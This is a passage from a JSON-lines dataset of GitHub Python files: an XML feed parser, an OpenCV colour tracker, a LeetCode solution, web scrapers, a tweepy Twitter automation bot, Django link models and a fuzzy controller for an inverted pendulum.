run()","repo_name":"calvin0705/pi","sub_path":"TJC-C20/New folder/Mitsubishi_PLC.py","file_name":"Mitsubishi_PLC.py","file_ext":"py","file_size_in_byte":903,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"34544833143","text":"#!/usr/bin/python3\n\n#\n# Simple XML parser for YouTube XML channels\n# Jesus M. Gonzalez-Barahona\n# jgb @ gsyc.es\n# SARO and SAT subjects (Universidad Rey Juan Carlos)\n# 2020\n#\n# Produces a HTML document in standard output, with\n# the list of videos on the channel\n#\n# How to get the XML document for a YouTube channel:\n# https://www.youtube.com/feeds/videos.xml?channel_id=UC300utwSVAYOoRLEqmsprfg\n\nfrom xml.sax.handler import ContentHandler\nfrom xml.sax import make_parser\nimport sys\nimport string\n\nvideos = \"\"\n\nclass YTHandler(ContentHandler):\n\n def __init__ (self):\n self.inEntry = False\n self.inContent = False\n self.content = \"\"\n self.title = \"\"\n self.link = \"\"\n\n def startElement (self, name, attrs):\n if name == 'entry':\n self.inEntry = True\n elif self.inEntry:\n if name == 'title':\n self.inContent = True\n elif name == 'link':\n self.link = attrs.get('href')\n\n def endElement (self, name):\n global videos\n\n if name == 'entry':\n self.inEntry = False\n videos = videos \\\n + \"
  • \" \\\n + self.title + \"
  • \\n\"\n elif self.inEntry:\n if name == 'title':\n self.title = self.content\n self.content = \"\"\n self.inContent = False\n\n def characters (self, chars):\n if self.inContent:\n self.content = self.content + chars\n\n# Load parser and driver\nParser = make_parser()\nParser.setContentHandler(YTHandler())\n\n# --- Main prog\nif __name__ == \"__main__\":\n\n PAGE = \"\"\"\n\n\n \n

    Channel contents:

    \n
      \n{videos}\n
    \n \n\n\"\"\"\n\n if len(sys.argv)<2:\n print(\"Usage: python xml-parser-youtube.py \")\n print()\n print(\" : file name of the document to parse\")\n sys.exit(1)\n\n # Ready, set, go!\n xmlFile = open(sys.argv[1],\"r\")\n\n Parser.parse(xmlFile)\n page = PAGE.format(videos=videos)\n print(page)","repo_name":"CursosWeb/Code","sub_path":"XML/ytparser.py","file_name":"ytparser.py","file_ext":"py","file_size_in_byte":2128,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"37708741356","text":"import cv2\nimport numpy as np\n\ndef compute_rotation(red, green, blue, orange, yellow, white, frame):\n #compute the total area\n total_area = red + green + blue + orange + yellow + white\n if total_area < 10:\n return frame\n #compute the percentage of each color\n red_perc = red/total_area\n green_perc = green/total_area\n blue_perc = blue/total_area\n orange_perc = orange/total_area\n yellow_perc = yellow/total_area\n white_perc = white/total_area\n # green front, orange right, red left, blue back, yellow top, white bottom\n # print text on frame based on the percentage of each color\n if red_perc > 0.1:\n cv2.putText(frame, 'LEFT', (10, 30), cv2.FONT_HERSHEY_SIMPLEX, 1, (0, 0, 255), 2)\n if green_perc > 0.1:\n cv2.putText(frame, 'FRONT', (10, 60), cv2.FONT_HERSHEY_SIMPLEX, 1, (0, 255, 0), 2)\n if blue_perc > 0.1:\n cv2.putText(frame, 'BACK', (10, 90), cv2.FONT_HERSHEY_SIMPLEX, 1, (255, 0, 0), 2)\n if orange_perc > 0.1:\n cv2.putText(frame, 'RIGHT', (10, 120), cv2.FONT_HERSHEY_SIMPLEX, 1, (0, 165, 255), 2)\n if yellow_perc > 0.1:\n cv2.putText(frame, 'TOP', (10, 150), cv2.FONT_HERSHEY_SIMPLEX, 1, (0, 255, 255), 2)\n if white_perc > 0.1:\n cv2.putText(frame, 'BOTTOM', (10, 180), cv2.FONT_HERSHEY_SIMPLEX, 1, (255, 255, 255), 2)\n\n\ndef dummy(x):\n pass\n\ndef circularity(cnt):\n area = cv2.contourArea(cnt)\n perimeter = cv2.arcLength(cnt, True)\n return 4*np.pi*area/perimeter**2\n\ndef color_contorns(hsv, lower, upper, color):\n\n area = cv2.getTrackbarPos('area','image') / 100\n circ = cv2.getTrackbarPos('circularity','image') / 100\n #create a mask\n mask= cv2.inRange(hsv, lower, upper)\n #dilate the mask\n kernel = np.ones((5,5),np.uint8)\n mask = cv2.dilate(mask, kernel, iterations = 1)\n #find the contours\n contours, hierarchy = cv2.findContours(mask, cv2.RETR_TREE, cv2.CHAIN_APPROX_SIMPLE)\n # keep only 20% of the contours\n contours = sorted(contours, key=cv2.contourArea, reverse=True)[:int(len(contours)*area) if int(len(contours)*area) > 0 else 1]\n # filter by boundary length\n contours = [cnt for cnt in contours if cv2.arcLength(cnt, True) > 100]\n # filter by circularity\n contours = [cnt for cnt in contours if circ < circularity(cnt)]\n #find the center of the contours\n for cnt in contours:\n M = cv2.moments(cnt)\n if M['m00'] != 0:\n cx = int(M['m10']/M['m00'])\n cy = int(M['m01']/M['m00'])\n #draw a circle on the center of the contours\n cv2.circle(frame, (cx, cy), 10, (0,0,0), -1)\n #draw the contours\n cv2.drawContours(frame, contours, -1, color, 3)\n area += cv2.contourArea(cnt)\n\n return frame, area\n\n#name the window\ncv2.namedWindow('image')\n#start the video capture\ncap = cv2.VideoCapture(0)\n\n#import video\n#cap = cv2.VideoCapture('video.mp4')\n\n#create a filter for different colors\n#red\nlower_red = np.array([0,100,150])\nupper_red = np.array([7,255,255])\ncv2.createTrackbar('area','image',50,100, dummy)\ncv2.createTrackbar('circularity','image',45,100, dummy)\ncv2.setTrackbarPos('area','image',50)\ncv2.setTrackbarPos('circularity','image',45)\n\n#green\nlower_green = np.array([40,100,30])\nupper_green = np.array([80,255,255])\n#blue\nlower_blue = np.array([100,100,30])\nupper_blue = np.array([140,255,255])\n#orange\nlower_orange = np.array([7,100,150])\nupper_orange = np.array([20,255,255])\n#yellow\nlower_yellow = np.array([22,100,30])\nupper_yellow = np.array([40,255,255])\n#white\nlower_white = np.array([0,0,200])\nupper_white = np.array([255,40,255])\n\n#start the loop\nwhile cap.isOpened():\n #read the frames\n ret, frame = cap.read()\n # gaussian blur\n frame = cv2.GaussianBlur(frame, (7, 7), 2)\n #convert the frames to HSV\n hsv = cv2.cvtColor(frame, cv2.COLOR_BGR2HSV)\n #create a mask red\n mask_red= cv2.inRange(hsv, lower_red, upper_red)\n #create a mask green\n mask_green= cv2.inRange(hsv, lower_green, upper_green)\n #create a mask blue\n mask_blue= cv2.inRange(hsv, lower_blue, upper_blue)\n #create a mask orange\n mask_orange= cv2.inRange(hsv, lower_orange, upper_orange)\n #create a mask yellow\n mask_yellow= cv2.inRange(hsv, lower_yellow, upper_yellow)\n #create a mask white\n mask_white= cv2.inRange(hsv, lower_white, upper_white)\n\n # kernel = cv2.getStructuringElement(cv2.MORPH_ELLIPSE, (15, 15))\n # mask_red = cv2.morphologyEx(mask_red, cv2.MORPH_CLOSE, kernel)\n # mask_green = cv2.morphologyEx(mask_green, cv2.MORPH_CLOSE, kernel)\n # mask_blue = cv2.morphologyEx(mask_blue, cv2.MORPH_CLOSE, kernel)\n # mask_orange = cv2.morphologyEx(mask_orange, cv2.MORPH_CLOSE, kernel)\n # mask_yellow = cv2.morphologyEx(mask_yellow, cv2.MORPH_CLOSE, kernel)\n # mask_white = cv2.morphologyEx(mask_white, cv2.MORPH_CLOSE, kernel)\n\n #find the contours for red\n frame, red_area = color_contorns(hsv, lower_red, upper_red, (0,0,255))\n #find the contours for green\n frame, green_area = color_contorns(hsv, lower_green, upper_green, (0,255,0))\n #find the contours for blue\n frame, blue_area = color_contorns(hsv, lower_blue, upper_blue, (255,10,10))\n #find the contours for orange\n frame, orange_area = color_contorns(hsv, lower_orange, upper_orange, (0,165,255))\n #find the contours for yellow\n frame, yellow_area = color_contorns(hsv, lower_yellow, upper_yellow, (0,255,255))\n #find the contours for white\n frame, white_area = color_contorns(hsv, lower_white, upper_white, (255,255,255))\n\n compute_rotation(red_area, green_area, blue_area, orange_area, yellow_area, white_area, frame)\n\n # stack horizontally 3 masks\n mask = np.hstack((mask_red, mask_green, mask_blue))\n mask2 = np.hstack((mask_white, mask_orange, mask_yellow))\n mask3 = np.hstack((mask2, mask))\n\n # show the masks\n #cv2.imshow('mask', mask3)\n cv2.imshow('image', frame)\n # cv2.waitKey(1)\n #cv2.imshow('mask', mask)\n #press q to exit\n # if cv2.waitKey(1) & 0xFF == ord('q'):\n # break\n \n if cv2.waitKey(1) & 0xFF == ord(' '):\n cv2.waitKey(0)\n # resume when space is pressed again\n if cv2.waitKey(1) & 0xFF == ord(' '):\n cv2.waitKey(1)\n#release the capture\ncap.release()\ncv2.destroyAllWindows()\n\n","repo_name":"Pappol/Object_tracking_for_the_metaverse","sub_path":"tests/object_tracking.py","file_name":"object_tracking.py","file_ext":"py","file_size_in_byte":6274,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"32161229595","text":"# Question: https://leetcode.com/explore/challenge/card/june-leetcoding-challenge/540/week-2-june-8th-june-14th/3356/\n\n\"\"\"\nGiven a sorted array and a target value, return the index if the target is found. \nIf not, return the index where it would be if it were inserted in order.\nYou may assume no duplicates in the array.\n\nExample 1:\n Input: [1,3,5,6], 5\n Output: 2\n\nExample 2:\n Input: [1,3,5,6], 2\n Output: 1\n\nExample 3:\n Input: [1,3,5,6], 7\n Output: 4\n\nExample 4:\n Input: [1,3,5,6], 0\n Output: 0\n\"\"\"\n\nclass Solution:\n def searchInsert(self, nums: List[int], target: int) -> int:\n if target in nums:\n return nums.index(target)\n i = 0\n while i div.prod-atf > div > div.prod-buy.new-oos-style.not-loyalty-member.not-eligible-address.without-subscribe-buy-type.DISPLAY_0.only-one-delivery > div.prod-price-container.prod-not-show-ccid-ifip > div.prod-price > div > div.prod-sale-price.prod-major-price > span.total-price > strong\")\n# print(price.text)\n\nimport requests\nfrom bs4 import BeautifulSoup\n\n# url = \"https://www.naver.com/\"\n# req = requests.get(url).text\n# soup = BeautifulSoup(req, 'html.parser')\n\n# '.PM_CL_realtimeKeyword_rolling '>' ah_item' //------------ '>'는 직속 자식의 개념이고, ' .'은 어떤관계에 상관없이 그 하위버전 아무거나 가능하다.\n\n# for tag in soup.select('.PM_CL_realtimeKeyword_rolling .ah_item'):\n# rank = tag.select_one(' .ah_r').text\n# name = tag.select_one(' .ah_k').text\n# print(f'{rank}위는 {name} 입니다.')\n\n\nreq = requests.get(\"https://www.naver.com/\").text\nsoup = BeautifulSoup(req, 'html.parser')\nfor tag in soup.select(' .PM_CL_realtimeKeyword_rolling .ah_item'):\n rank = tag.select_one(' .ah_r').text\n name = tag.select_one(' .ah_k').text\n print(f'{rank}위는 {name} 입니다.')","repo_name":"hongyong3/TIL","sub_path":"python/practice/scraping/currency.py","file_name":"currency.py","file_ext":"py","file_size_in_byte":1995,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"217205297","text":"import tweepy\r\nimport tkinter\r\nfrom tkinter import *\r\n\r\n#Credentials\r\nconsumer_key = 'consumer key'\r\nconsumer_secret = 'consumer secrets'\r\naccess_token = 'access token'\r\naccess_token_secret = 'access token secret'\r\n\r\nauth = tweepy.OAuthHandler(consumer_key, consumer_secret)\r\nauth.set_access_token(access_token, access_token_secret)\r\napi = tweepy.API(auth)\r\n\r\n\r\n#Authentication Check\r\nuser = api.me()\r\nprint(user.name)\r\nprint(user.location)\r\n\r\n\r\n#Loop through and follow everyone you are following\r\nfor follower in tweepy.Cursor(api.followers).items():\r\n follower.follow()\r\n\r\nprint(\"Followed everyone that is following \" + user.name)\r\n\r\n\r\n\r\n#Creating the Gui\r\nroot = Tk()\r\n\r\nlabel1 = Label(root, text=\"Search\")\r\nSearch = Entry(root, bd=5)\r\n\r\nlabel2 = Label(root, text=\"Number of Tweets\")\r\nnumTweets = Entry(root, bd=5)\r\n\r\nlabel3 = Label(root, text=\"Response\")\r\nResponse = Entry(root, bd=5)\r\n\r\nlabel4 = Label(root, text=\"Reply?\")\r\nReply = Entry(root, bd=5)\r\n\r\nlabel5 = Label(root, text=\"Retweet?\")\r\nRetweet = Entry(root, bd=5)\r\n\r\nlabel6 = Label(root, text=\"Favorite?\")\r\nFav = Entry(root, bd=5)\r\n\r\nlabel7 = Label(root, text=\"Follow?\")\r\nFollow = Entry(root, bd=5)\r\n\r\n\r\n#Helper functions to store and use user input\r\ndef getSearch():\r\n return Search.get()\r\n\r\n\r\ndef getnumTweets():\r\n return numTweets.get()\r\n\r\n\r\ndef getResponse():\r\n return Response.get()\r\n\r\n\r\ndef getReply():\r\n return Reply.get()\r\n\r\n\r\ndef getRetweet():\r\n return Retweet.get()\r\n\r\n\r\ndef getFav():\r\n return Fav.get()\r\n\r\n\r\ndef getFollow():\r\n return Follow.get()\r\n\r\n\r\n#Main function to connect everything\r\ndef mainFunction():\r\n #Get all the responses from the user =\r\n getSearch()\r\n search = getSearch()\r\n\r\n getnumTweets()\r\n numberOfTweets = getnumTweets()\r\n numberOfTweets = int(numberOfTweets)\r\n\r\n getResponse()\r\n phrase = getResponse()\r\n\r\n getReply()\r\n reply = getReply()\r\n\r\n getRetweet()\r\n retweet = getRetweet()\r\n\r\n getFav()\r\n favorite = getFav()\r\n\r\n getFollow()\r\n follow = getFollow()\r\n\r\n\r\n #Loop through and reply with phrase\r\n if reply == \"yes\":\r\n for tweet in tweepy.Cursor(api.search, search).items(numberOfTweets):\r\n try:\r\n # Reply\r\n print('\\nTweet by: @' + tweet.user.screen_name)\r\n print('ID: @' + str(tweet.user.id))\r\n tweetId = tweet.user.id\r\n username = tweet.user.screen_name\r\n api.update_status(\"@\" + username + \" \" + phrase, in_reply_to_status_id=tweetId)\r\n print(\"Replied with \" + phrase)\r\n\r\n except tweepy.TweepError as e:\r\n print(e.reason)\r\n\r\n except StopIteration:\r\n break\r\n\r\n #Loop through and retweet\r\n if retweet == \"yes\":\r\n for tweet in tweepy.Cursor(api.search, search).items(numberOfTweets):\r\n try:\r\n # Retweet\r\n tweet.retweet()\r\n print('Retweeted the tweet')\r\n\r\n except tweepy.TweepError as e:\r\n print(e.reason)\r\n\r\n except StopIteration:\r\n break\r\n\r\n # Loop through and favorite\r\n if favorite == \"yes\":\r\n for tweet in tweepy.Cursor(api.search, search).items(numberOfTweets):\r\n try:\r\n # Favorite\r\n tweet.favorite()\r\n print('Favorited the tweet')\r\n\r\n except tweepy.TweepError as e:\r\n print(e.reason)\r\n\r\n except StopIteration:\r\n break\r\n\r\n # Loop through and follow\r\n if follow == \"yes\":\r\n for tweet in tweepy.Cursor(api.search, search).items(numberOfTweets):\r\n try:\r\n # Follow\r\n tweet.user.follow()\r\n print('Followed the user')\r\n\r\n except tweepy.TweepError as e:\r\n print(e.reason)\r\n\r\n except StopIteration:\r\n break\r\n\r\n\r\nsubmit = Button(root, text=\"Submit\", command=mainFunction)\r\n\r\n#Packing each label\r\nlabel1.pack()\r\nSearch.pack()\r\n\r\nlabel2.pack()\r\nnumTweets.pack()\r\n\r\nlabel3.pack()\r\nResponse.pack()\r\nlabel4.pack()\r\n\r\nReply.pack()\r\nlabel5.pack()\r\n\r\nRetweet.pack()\r\nlabel6.pack()\r\n\r\nFav.pack()\r\nlabel7.pack()\r\n\r\nFollow.pack()\r\nsubmit.pack(side=BOTTOM)\r\n\r\nroot.mainloop()\r\n","repo_name":"ikrambil/Twitter-Bot","sub_path":"bot.py","file_name":"bot.py","file_ext":"py","file_size_in_byte":4271,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"8956678960","text":"import logging\nFORMAT = '%(asctime)s %(levelname)-8s %(message)s'\n\ndef log_control(logfile):\n\tlogger = logging.getLogger()\n\thdlr = logging.FileHandler(logfile)\n\tformatter = logging.Formatter(FORMAT)\n\thdlr.setFormatter(formatter)\n\tlogger.addHandler(hdlr)\n\tlogger.setLevel(logging.INFO)\n\treturn logger\n\nif __name__ == \"__main__\":\n\tlogfile = '/tmp/agent_11_05_23.log'\n\tlogger = log_control(logfile)\n\tlogger.error('abc')\n\tlogger.info('test')\n","repo_name":"rambolee/helpdesk","sub_path":"lib/mail_tools/get_popmail/models/logger.py","file_name":"logger.py","file_ext":"py","file_size_in_byte":438,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"48"} +{"seq_id":"26437463729","text":"from django.db import models\nimport datetime\nimport json\nimport ipdb\nimport pytz\n\n\nclass LinkNotUnique(Exception):\n \"\"\"\n Exception thrown when link that you are trying to save is not unique. You should filter those link prior to saving.\n \"\"\"\n def __init__(self, value=\"\"):\n self.value = value\n def __str__(self):\n return repr(self.value)\n\nclass Link(models.Model):\n \"\"\"\n The main data class: stores links found on sites.\n \n \"\"\"\n uri = models.CharField(max_length=1000, blank=False, unique=True, db_index=True)\n link_position_within = models.IntegerField(null=True)\n link_id = models.CharField(max_length=1000, null=True)\n link_number_on_site = models.IntegerField(null=True)\n source_url = models.CharField(max_length=1000, null=True)\n ttl = models.DateTimeField(blank=True, default=None)\n added_time =models.DateTimeField(blank=True, default=None)\n \n stats = models.TextField(blank=True, default=\"{}\")\n \n created_at = models.DateTimeField(auto_now_add=True)\n updated_at = models.DateTimeField(auto_now=True)\n \n \"\"\" from og: tags \"\"\"\n link_type = models.CharField(max_length=100, blank=True, null=True, db_index=True)\n title = models.CharField(max_length=1000, blank=True, null=True, db_index=True)\n updated_time = models.DateTimeField(blank=True, null=True, db_index=True)\n \n def save(self, *args, **kwargs):\n if self.id is not None or len( Link.objects.filter(uri=self.uri)) == 0:\n super(Link, self).save(*args, **kwargs)\n else:\n raise LinkNotUnique\n \n def populate_og_stats(self):\n \"\"\"\n This function is used mostly to update Link with information gained from OG tags found on site\n \"\"\"\n if len(self.linkstats_set.all()) > 0 :\n stat = self.linkstats_set.latest(\"time\")\n fb_21 = json.loads(stat.fb_21)\n if fb_21.has_key('og_object'):\n try:\n self.link_type = fb_21['og_object']['type']\n except KeyError:\n self.link_type = None\n \n try:\n self.title = fb_21['og_object']['title']\n except KeyError:\n self.title = None\n \n try:\n self.updated_time = datetime.datetime.strptime(fb_21['og_object']['updated_time'], \"%Y-%m-%dT%H:%M:%S+0000\").replace(tzinfo=pytz.utc)\n except KeyError:\n self.updated_time = None\n \n self.save()\n \n\n\n\nclass LinkStats(models.Model):\n \"\"\"\n This model stores information about link statistics found via Facebook or Twitter link API\n \"\"\"\n link = models.ForeignKey(Link, db_index=True)\n link_uri = models.CharField(max_length=1000, db_index=True)\n time = models.DateTimeField(db_index=True)\n fb_21 = models.TextField()\n fb_rest = models.TextField()\n twitter = models.TextField()\n\n\n\n\n\n","repo_name":"mhnatiuk/MediaMonitor","sub_path":"monitor/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":3010,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"48"} +{"seq_id":"681353949","text":"# -*- coding: utf-8 -*-\n\nfrom math import degrees\nimport numpy as np\nfrom fuzzy.storage.fcl.Reader import Reader\n\n\nclass FuzzyController(object):\n def __init__(self, fcl_path):\n self.system = Reader().load_from_file(fcl_path)\n\n @staticmethod\n def _make_input(world):\n temp = degrees(world.theta)\n if temp < 0:\n temp += 360\n temp2 = degrees(world.omega)\n if temp2 > 200:\n temp2 = 200\n if temp2 < -200:\n temp2 = -200\n return dict(cp=world.x, cv=world.v, pa=temp, pv=temp2)\n\n @staticmethod\n def _make_output():\n return dict(force=0.)\n\n def decide(self, world):\n # output = self._make_output()\n # self.system.calculate(self._make_input(world), output)\n # return output['force']\n return self.my_decide_function(world)\n\n def my_decide_function(self, world):\n # fuzzify parameters\n fuzzy_params = self.fuzzify(self._make_input(world))\n # calculating belonging to force\n belonging = self.inference(fuzzy_params)\n # defuzzify to find force\n force = self.defuzzification(belonging)\n return force\n\n def fuzzify(self, world):\n pa, pv, cv, cp = world['pa'], world['pv'], world['cv'], world['cp']\n fuzzy_params = {'pa_up_more_right': self.fuzzification(pa, 'pa_up_more_right'),\n 'pa_up_right': self.fuzzification(pa, 'pa_up_right'),\n 'pa_up': self.fuzzification(pa, 'pa_up'),\n 'pa_up_left': self.fuzzification(pa, 'pa_up_left'),\n 'pa_up_more_left': self.fuzzification(pa, 'pa_up_more_left'),\n 'pa_down_more_left': self.fuzzification(pa, 'pa_down_more_left'),\n 'pa_down_left': self.fuzzification(pa, 'pa_down_left'),\n 'pa_down': self.fuzzification(pa, 'pa_down'),\n 'pa_down_right': self.fuzzification(pa, 'pa_down_right'),\n 'pa_down_more_right': self.fuzzification(pa, 'pa_down_more_right'),\n 'pv_cw_fast': self.fuzzification(pv, 'pv_cw_fast'),\n 'pv_cw_slow': self.fuzzification(pv, 'pv_cw_slow'),\n 'pv_stop': self.fuzzification(pv, 'pv_stop'),\n 'pv_ccw_slow': self.fuzzification(pv, 'pv_ccw_slow'),\n 'pv_ccw_fast': self.fuzzification(pv, 'pv_ccw_fast'),\n 'cp_left_far': self.fuzzification(cp, 'cp_left_far'),\n 'cp_left_near': self.fuzzification(cp, 'cp_left_near'),\n 'cp_stop': self.fuzzification(cp, 'cp_stop'),\n 'cp_right_near': self.fuzzification(cp, 'cp_right_near'),\n 'cp_right_far': self.fuzzification(cp, 'cp_right_far'),\n 'cv_left_fast': self.fuzzification(cv, 'cv_left_fast'),\n 'cv_left_slow': self.fuzzification(cv, 'cv_left_slow'),\n 'cv_stop': self.fuzzification(cv, 'cv_stop'),\n 'cv_right_slow': self.fuzzification(cv, 'cv_right_slow'),\n 'cv_right_fast': self.fuzzification(cv, 'cv_right_fast')}\n return fuzzy_params\n\n def fuzzification(self, x, belonging):\n y1, y2, y3 = 0, 1, 0\n x1, x2, x3, = 0, 0, 0\n if belonging == 'pa_up_more_right':\n x1, x2, x3 = 0, 30, 60\n elif belonging == 'pa_up_right':\n x1, x2, x3 = 30, 60, 90\n elif belonging == 'pa_up':\n x1, x2, x3 = 60, 90, 120\n elif belonging == 'pa_up_left':\n x1, x2, x3 = 90, 120, 150\n elif belonging == 'pa_up_more_left':\n x1, x2, x3 = 120, 150, 180\n elif belonging == 'pa_down_more_left':\n x1, x2, x3 = 180, 210, 240\n elif belonging == 'pa_down_left':\n x1, x2, x3 = 210, 240, 270\n elif belonging == 'pa_down':\n x1, x2, x3 = 240, 270, 300\n elif belonging == 'pa_down_right':\n x1, x2, x3 = 270, 300, 330\n elif belonging == 'pa_down_more_right':\n x1, x2, x3 = 300, 330, 360\n elif belonging == 'pv_cw_fast':\n x1, x2, x3 = -200, -200, -100\n elif belonging == 'pv_cw_slow':\n x1, x2, x3 = -200, -100, 0\n elif belonging == 'pv_stop':\n x1, x2, x3 = -100, 0, 100\n elif belonging == 'pv_ccw_slow':\n x1, x2, x3 = 0, 100, 200\n elif belonging == 'pv_ccw_fast':\n x1, x2, x3 = 100, 200, 200\n elif belonging == 'cp_left_far':\n x1, x2, x3 = -10, -10, -5\n elif belonging == 'cp_left_near':\n x1, x2, x3 = -10, -2.5, 0\n elif belonging == 'cp_stop':\n x1, x2, x3 = -2.5, 0, 2.5\n elif belonging == 'cp_right_near':\n x1, x2, x3 = 0, 2.5, 10\n elif belonging == 'cp_right_far':\n x1, x2, x3 = 5, 10, 10\n elif belonging == 'cv_left_fast':\n x1, x2, x3 = -5, -5, -2.5\n elif belonging == 'cv_left_slow':\n x1, x2, x3 = -5, -1, 0\n elif belonging == 'cv_stop':\n x1, x2, x3 = -1, 0, 1\n elif belonging == 'cv_right_slow':\n x1, x2, x3 = 0, 1, 5\n elif belonging == 'cv_right_fast':\n x1, x2, x3 = 2.5, 5, 5\n elif belonging == 'force_right_fast':\n x1, x2, x3 = 60, 80, 100\n elif belonging == 'force_right_slow':\n x1, x2, x3 = 0, 60, 80\n elif belonging == 'force_left_fast':\n x1, x2, x3 = -100, -80, -60\n elif belonging == 'force_left_slow':\n x1, x2, x3 = -80, -60, 0\n elif belonging == 'force_Stop':\n x1, x2, x3 = -60, 0, 60\n if x1 <= x <= x2:\n return self.linear_equation(x1, y1, x2, y2, x)\n elif x2 < x <= x3:\n return self.linear_equation(x3, y3, x2, y2, x)\n else:\n return 0\n\n @staticmethod\n def linear_equation(x1, y1, x2, y2, x):\n if x1 == x2:\n y = float((max(y1, y2)))\n else:\n slope = (y2 - y1) / float((x2 - x1))\n offset = y1 - slope * x1\n y = slope * x + offset\n return y\n\n @staticmethod\n def inference(param):\n stop = max(min(param['pa_up'], param['pv_stop']), # 0\n min(param['pa_up_right'], param['pv_ccw_slow']), # 0\n min(param['pa_up_left'], param['pv_cw_slow']), # 0\n min(param['pa_down_more_right'], param['pv_cw_slow']), # 10\n min(param['pa_down_more_left'], param['pv_ccw_slow']), # 12\n min(param['pa_down'], param['pv_ccw_fast']), # 37\n min(param['pa_up'], param['pv_stop']), # 42\n min(param['pa_down'], param['pv_cw_fast']), # 36\n min(param['pa_down_left'], param['pv_cw_fast']), # 22\n min(param['pa_down_right'], param['pv_ccw_fast']), # 21\n min(param['pa_down_more_right'], param['pv_cw_fast']), # 14\n min(param['pa_down_more_right'], param['pv_ccw_fast']), # 13\n min(param['pa_down_more_left'], param['pv_cw_fast']), # 15\n min(param['pa_down_more_left'], param['pv_ccw_fast'])) # 16\n right_fast = max(min(param['pa_up_more_right'], param['pv_ccw_slow']), # 1\n min(param['pa_up_more_right'], param['pv_cw_slow']), # 2\n min(param['pa_up_more_right'], param['pv_cw_fast']), # 6\n min(param['pa_down_more_right'], param['pv_ccw_slow']), # 9\n min(param['pa_down_right'], param['pv_ccw_slow']), # 17\n min(param['pa_down_right'], param['pv_cw_slow']), # 18\n min(param['pa_up_right'], param['pv_cw_slow']), # 26\n min(param['pa_up_right'], param['pv_stop']), # 27\n min(param['pa_up_right'], param['pv_cw_fast']), # 32\n min(param['pa_up_left'], param['pv_cw_fast']), # 33\n min(param['pa_down'], param['pv_stop']), # 35\n min(param['pa_up'], param['pv_cw_fast'])) # 41\n left_fast = max(min(param['pa_up_more_left'], param['pv_ccw_slow']), # 4\n min(param['pa_up_more_left'], param['pv_cw_slow']), # 3\n min(param['pa_up_more_left'], param['pv_ccw_fast']), # 8\n min(param['pa_down_more_left'], param['pv_cw_slow']), # 11\n min(param['pa_down_left'], param['pv_cw_slow']), # 19\n min(param['pa_down_left'], param['pv_ccw_slow']), # 20\n min(param['pa_up_left'], param['pv_ccw_slow']), # 29\n min(param['pa_up_left'], param['pv_stop']), # 30\n min(param['pa_up_left'], param['pv_ccw_fast']), # 34\n min(param['pa_up_right'], param['pv_ccw_fast']), # 31\n min(param['pa_up'], param['pv_ccw_fast'])) # 39\n left_slow = max(min(param['pa_up_more_right'], param['pv_ccw_fast']), # 5\n min(param['pa_down_left'], param['pv_ccw_fast']), # 24\n min(param['pa_up_left'], param['pv_cw_slow']), # 28\n min(param['pa_up'], param['pv_ccw_slow'])) # 38\n right_slow = max(min(param['pa_up_more_left'], param['pv_cw_fast']), # 7\n min(param['pa_down_right'], param['pv_cw_fast']), # 22\n min(param['pa_up_right'], param['pv_ccw_slow']), # 25\n min(param['pa_up'], param['pv_cw_slow'])) # 40\n # right_slow = param['pa_down_right']\n # left_slow = param['pa_down_left']\n # right_fast = max(param['pa_up_more_right'],\n # param['pa_up_right'] * param['pv_cw_slow'],\n # param['pv_cw_fast'] * max(param['pa_up_right'], param['pa_up_more_right']))\n # left_fast = max(param['pa_up_more_left'],\n # param['pa_up_left'] * param['pv_ccw_slow'],\n # param['pv_ccw_fast'] * max(param['pa_up_left'], param['pa_up_more_left']))\n return left_fast, left_slow, right_fast, right_slow, stop\n\n def defuzzification(self, belonging):\n left_fast, left_slow, right_fast, right_slow, stop = belonging\n points = np.linspace(-100, 100, 1000)\n integral = 0.0\n sums = 0.0\n for i in range(len(points)):\n force_right_fast = min(right_fast, self.fuzzification(points[i], 'force_right_fast'))\n force_right_slow = min(right_slow, self.fuzzification(points[i], 'force_right_slow'))\n force_left_fast = min(left_fast, self.fuzzification(points[i], 'force_left_fast'))\n force_left_slow = min(left_slow, self.fuzzification(points[i], 'force_left_slow'))\n force_Stop = min(stop, self.fuzzification(points[i], 'force_Stop'))\n max_force = max(force_right_fast, force_right_slow, force_left_fast, force_left_slow, force_Stop)\n integral += max_force\n sums += max_force * points[i]\n if integral == 0:\n return 0\n else:\n return sums / integral\n","repo_name":"behdadmansouri/Fuzzy-Inverted-Pendulum","sub_path":"controller.py","file_name":"controller.py","file_ext":"py","file_size_in_byte":11369,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"48"} +{"seq_id":"40831258385","text":"from __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\n\nimport numpy as np\nimport logging\n\nfrom caffe2.python import cnn\nfrom caffe2.python import core\nfrom caffe2.python import workspace\nfrom caffe2.python import brew\n\nfrom core.config import cfg\nfrom ops.collect_and_distribute_fpn_rpn_proposals \\\n import CollectAndDistributeFpnRpnProposalsOp\nfrom ops.generate_proposal_labels import GenerateProposalLabelsOp\nfrom ops.generate_proposals import GenerateProposalsOp\n\nfrom ops.rescale_and_dumplicate_feature \\\n import RescaleAndDumplicateFeatureSingleOp\n\nfrom ops.rescale_and_dumplicate_feature \\\n import RescaleAndDumplicateFeatureFPNOp\n\nfrom ops.pooling_feature import PoolingIndicatorFeatureSingleOp\nfrom ops.pooling_feature import PoolingIndicatorFeatureFPNOp\n\nfrom ops.scale_rois import ScaleRoIsSingleOp, ScaleRoIsFPNOp\nfrom ops.prepare_labels_for_prn_and_update_refine_blobs import \\\n PrepareLabelsForPRNAndUpdateRefineBlobsOp\nfrom ops.generate_rois_need_refine import GenerateRoIsNeedRefineOp\n\nfrom ops.generate_mask_indicators import GenerateGlobalMaskIndicatorsOp\nfrom ops.generate_mask_indicators import GenerateLocalMaskIndicatorsOp\nfrom ops.generate_keypoint_indicators import 